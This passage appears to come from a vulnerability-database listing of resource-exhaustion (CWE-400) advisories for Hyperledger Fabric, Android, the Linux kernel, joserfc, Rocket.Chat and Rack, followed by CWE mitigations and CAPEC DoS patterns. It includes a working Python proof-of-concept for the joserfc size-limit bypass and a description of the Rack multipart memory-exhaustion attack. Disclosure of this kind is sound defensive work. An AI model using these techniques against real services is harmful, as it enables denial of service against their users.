"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-12T20:15:00Z",
"severity": "HIGH"
},
"details": "Hyperledger Fabric 2.3 allows attackers to cause a denial of service (orderer crash) by repeatedly sending a crafted channel tx with the same Channel name. NOTE: the official Fabric with Raft prevents exploitation via a locking mechanism and a check for names that already exist.",
"id": "GHSA-wp68-67c6-87fh",
"modified": "2022-11-17T18:30:26Z",
"published": "2022-11-13T12:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45196"
},
{
"type": "WEB",
"url": "https://github.com/SmartBFT-Go/fabric/issues/286"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/pull/2934"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP6G-8W38-Q9FJ
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31In multiple locations, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-26449"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T18:15:44Z",
"severity": "MODERATE"
},
"details": "In multiple locations, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-wp6g-8w38-q9fj",
"modified": "2025-09-05T18:31:18Z",
"published": "2025-09-05T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26449"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/e3c4ba3c7963138cb4c189fbec829c08ab27fa08"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WPCP-36GF-6GXQ
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-10-07 18:15A flaw memory leak in the Linux kernel performance monitoring subsystem was found in the way if using PERF_EVENT_IOC_SET_FILTER. A local user could use this flaw to starve the resources causing denial of service.
{
"affected": [],
"aliases": [
"CVE-2020-25704"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-02T01:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw memory leak in the Linux kernel performance monitoring subsystem was found in the way if using PERF_EVENT_IOC_SET_FILTER. A local user could use this flaw to starve the resources causing denial of service.",
"id": "GHSA-wpcp-36gf-6gxq",
"modified": "2022-10-07T18:15:55Z",
"published": "2022-05-24T17:35:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25704"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1895961"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bdb157cdebbf95a1cd94ed2e01b338714075d00"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00027.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/11/09/1"
},
{
"type": "WEB",
"url": "https://www.starwindsoftware.com/security/sw-20220802-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WPHV-VFRH-23Q5
Vulnerability from github – Published: 2026-06-26 20:59 – Updated: 2026-06-26 20:59RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary
Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.
The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.
This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.
Affected Product
- Package:
joserfc - Ecosystem:
pip - Audited release:
1.6.5 - Audit tag:
1.6.5 - Audit commit:
881712980934fb601bed26fe3ae1ec0b7780e6f7 - Tested affected releases:
1.3.4,1.3.5,1.4.2,1.6.2,1.6.3,1.6.4,1.6.5 - Fixed release: none known
Vulnerability Details
In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().
The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:
if is_rfc7797_enabled(protected):
if not payload_segment and payload:
payload_segment = to_bytes(payload)
payload = payload_segment
The flattened JSON RFC7797 path has the same pattern:
payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
payload = payload_segment
Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.
Reproduction
The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.
Requirements:
python -m pip install "joserfc==1.6.5"
Run:
python joserfc_rfc7797_size_bypass_poc.py
Self-contained proof script:
#!/usr/bin/env python3
import json
import joserfc
from joserfc import jws
from joserfc.jwk import OctKey
def check_compact(name, header, payload, key):
token = jws.serialize_compact(header, payload, key)
try:
obj = jws.deserialize_compact(token, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
def check_json(name, protected, payload, key):
data = jws.serialize_json({"protected": protected}, payload, key)
try:
obj = jws.deserialize_json(data, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)
results = {
"joserfc_version": joserfc.__version__,
"default_max_payload_length": limit,
"payload_len": len(payload),
"compact": [
check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
check_compact(
"rfc7797_b64_false",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
"json": [
check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
check_json(
"rfc7797_b64_false_json",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
}
print(json.dumps(results, indent=2, sort_keys=True))
Expected output on 1.6.5 includes:
{
"default_max_payload_length": 128000,
"payload_len": 128001,
"compact": [
{
"case": "normal_b64_true",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
],
"json": [
{
"case": "normal_b64_true_json",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false_json",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
]
}
Version Checks
I reproduced the same differential behavior on these releases:
| Version | Normal JWS over limit | RFC7797 b64=false over limit |
|---|---|---|
| 1.3.4 | ExceededSizeError |
accepted |
| 1.3.5 | ExceededSizeError |
accepted |
| 1.4.2 | ExceededSizeError |
accepted |
| 1.6.2 | ExceededSizeError |
accepted |
| 1.6.3 | ExceededSizeError |
accepted |
| 1.6.4 | ExceededSizeError |
accepted |
| 1.6.5 | ExceededSizeError |
accepted |
The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.
Relationship to Existing Advisories
I found two related public advisories for joserfc, but neither appears to cover this root cause.
GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.
GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.
Workarounds
Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.
Suggested Remediation
Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.4"
},
{
"fixed": "1.6.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48990"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T20:59:38Z",
"nvd_published_at": "2026-06-17T22:16:23Z",
"severity": "MODERATE"
},
"details": "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n if not payload_segment and payload:\n payload_segment = to_bytes(payload)\n payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n token = jws.serialize_compact(header, payload, key)\n try:\n obj = jws.deserialize_compact(token, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\ndef check_json(name, protected, payload, key):\n data = jws.serialize_json({\"protected\": protected}, payload, key)\n try:\n obj = jws.deserialize_json(data, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n \"joserfc_version\": joserfc.__version__,\n \"default_max_payload_length\": limit,\n \"payload_len\": len(payload),\n \"compact\": [\n check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n check_compact(\n \"rfc7797_b64_false\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n \"json\": [\n check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n check_json(\n \"rfc7797_b64_false_json\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n \"default_max_payload_length\": 128000,\n \"payload_len\": 128001,\n \"compact\": [\n {\n \"case\": \"normal_b64_true\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ],\n \"json\": [\n {\n \"case\": \"normal_b64_true_json\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false_json\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.",
"id": "GHSA-wphv-vfrh-23q5",
"modified": "2026-06-26T20:59:38Z",
"published": "2026-06-26T20:59:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48990"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/releases/tag/1.6.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization"
}
GHSA-WPP8-MVVG-33RX
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12Rocket.Chat is an open-source fully customizable communications platform developed in JavaScript. In Rocket.Chat before versions 3.11.3, 3.12.2, and 3.13 an issue with certain regular expressions could lead potentially to Denial of Service. This was fixed in versions 3.11.3, 3.12.2, and 3.13.
{
"affected": [],
"aliases": [
"CVE-2021-32832"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-30T21:15:00Z",
"severity": "MODERATE"
},
"details": "Rocket.Chat is an open-source fully customizable communications platform developed in JavaScript. In Rocket.Chat before versions 3.11.3, 3.12.2, and 3.13 an issue with certain regular expressions could lead potentially to Denial of Service. This was fixed in versions 3.11.3, 3.12.2, and 3.13.",
"id": "GHSA-wpp8-mvvg-33rx",
"modified": "2022-05-24T19:12:25Z",
"published": "2022-05-24T19:12:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32832"
},
{
"type": "WEB",
"url": "https://github.com/RocketChat/Rocket.Chat/commit/4a0dce973e37ec3f56ca2231d6030511dbdd094c"
},
{
"type": "WEB",
"url": "https://docs.rocket.chat/guides/security/security-updates"
},
{
"type": "WEB",
"url": "https://github.com/RocketChat/Rocket.Chat/releases/tag/3.11.3"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-310-redos-Rocket.Chat"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WPV5-97WM-HP9C
Vulnerability from github – Published: 2025-10-07 17:28 – Updated: 2025-10-13 15:30Summary
Rack::Multipart::Parser can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (CRLFCRLF). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).
Details
While reading multipart headers, the parser waits for CRLFCRLF using:
@sbuf.scan_until(/(.*?\r\n)\r\n/m)
If the terminator never appears, it continues appending data (@sbuf.concat(content)) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.
Impact
Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.
Mitigation
- Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).
- Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx
client_max_body_size).
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61772"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T17:28:06Z",
"nvd_published_at": "2025-10-07T15:16:03Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` can accumulate unbounded data when a multipart part\u2019s header block never terminates with the required blank line (`CRLFCRLF`). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).\n\n## Details\n\nWhile reading multipart headers, the parser waits for `CRLFCRLF` using:\n\n```ruby\n@sbuf.scan_until(/(.*?\\r\\n)\\r\\n/m)\n```\n\nIf the terminator never appears, it continues appending data (`@sbuf.concat(content)`) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.\n\n## Impact\n\nAttackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.\n\n## Mitigation\n\n* Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).\n* Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx `client_max_body_size`).",
"id": "GHSA-wpv5-97wm-hp9c",
"modified": "2025-10-13T15:30:01Z",
"published": "2025-10-07T17:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-wpv5-97wm-hp9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61772"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61772.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.